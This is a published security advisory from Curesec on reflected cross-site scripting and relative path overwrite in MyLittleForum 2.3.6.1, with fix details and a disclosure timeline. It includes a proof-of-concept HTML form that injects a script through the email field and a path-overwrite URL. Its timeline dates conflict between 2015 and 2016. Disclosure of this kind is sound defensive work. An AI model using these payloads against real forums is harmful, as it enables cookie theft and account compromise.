MyLittleForum 2.3.6.1 XSS / Path Overwrite

2016-11-18T00:00:00
ID PACKETSTORM:139784
Type packetstorm
Reporter Tim Coen
Modified 2016-11-18T00:00:00

Description

                                        
                                            `Security Advisory - Curesec Research Team  
  
1. Introduction  
  
Affected Product: MyLittleForum 2.3.6.1  
Fixed in: 2.3.7beta  
Fixed Version Link: https://github.com/ilosuna/mylittleforum/releases/tag/  
v2.3.7beta  
Vendor Website: http://mylittleforum.net/  
Vulnerability Type: XSS & RPO  
Remote Exploitable: Yes  
Reported to vendor: 09/05/2016  
Disclosed to 11/10/2016  
public:  
Release mode: Coordinated Release  
CVE: n/a  
Credits Tim Coen of Curesec GmbH  
  
2. Overview  
  
MyLittleForum is forum software written in PHP. In version 2.3.6.1, it is  
vulnerable to reflected cross site scripting as well as relative path  
overwrite. XSS can be used to steal cookies, inject JavaScript keyloggers, or  
bypass CSRF protection, and RPO may lead to CSS injection.  
  
3. Details  
  
Reflected XSS  
  
CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N  
  
Description: The username and email parameter of the add user page are  
vulnerable to reflected XSS.  
  
Proof of Concept:  
  
<html> <body> <form action="http://localhost/mylittleforum-2.3.6.1/index.php"  
method="POST"> <input type="hidden" name="mode" value="admin" /> <input type=  
"hidden" name="ar_username" value="test" /> <input type="hidden" name=  
"ar_email" value="test@example.comle3d4"><script>alert(1)</script>" /> <input  
type="hidden" name="ar_pw" value="test" /> <input type="hidden" name=  
"ar_pw_conf" value="test" /> <input type="hidden" name="register_submit" value=  
"i?1/2A OKi?1/2A " /> <input type="submit" value="Submit request" /> </form> </body> </  
html>  
  
Relative Path Overwrite  
  
Description: Because the application includes CSS files relative instead of  
absolute, an attacker can overwrite the path. With some browsers, this may lead  
to CSS injection.  
  
Proof of Concept:  
  
http://localhost/mylittleforum-2.3.6.1/index.php////?id=1  
  
4. Solution  
  
To mitigate this issue please upgrade at least to version 2.3.7beta:  
  
https://github.com/ilosuna/mylittleforum/releases/tag/v2.3.7beta  
  
Please note that a newer version might already be available.  
  
5. Report Timeline  
  
09/05/2015 Informed Vendor about Issue (no reply)  
09/15/2015 Reminded Vendor of Disclosure Date  
09/15/2015 Vendor replies  
10/04/2015 Vendor releases fix  
11/10/2016 Disclosed to public  
  
  
Blog Reference:  
https://www.curesec.com/blog/article/blog/MyLittleForum-2361-XSS-amp-RPO-179.html  
  
--  
blog: https://www.curesec.com/blog  
tweet: https://twitter.com/curesec  
  
Curesec GmbH  
Curesec Research Team  
Josef-Orlopp-StraAe 54  
10365 Berlin, Germany  
  
  
`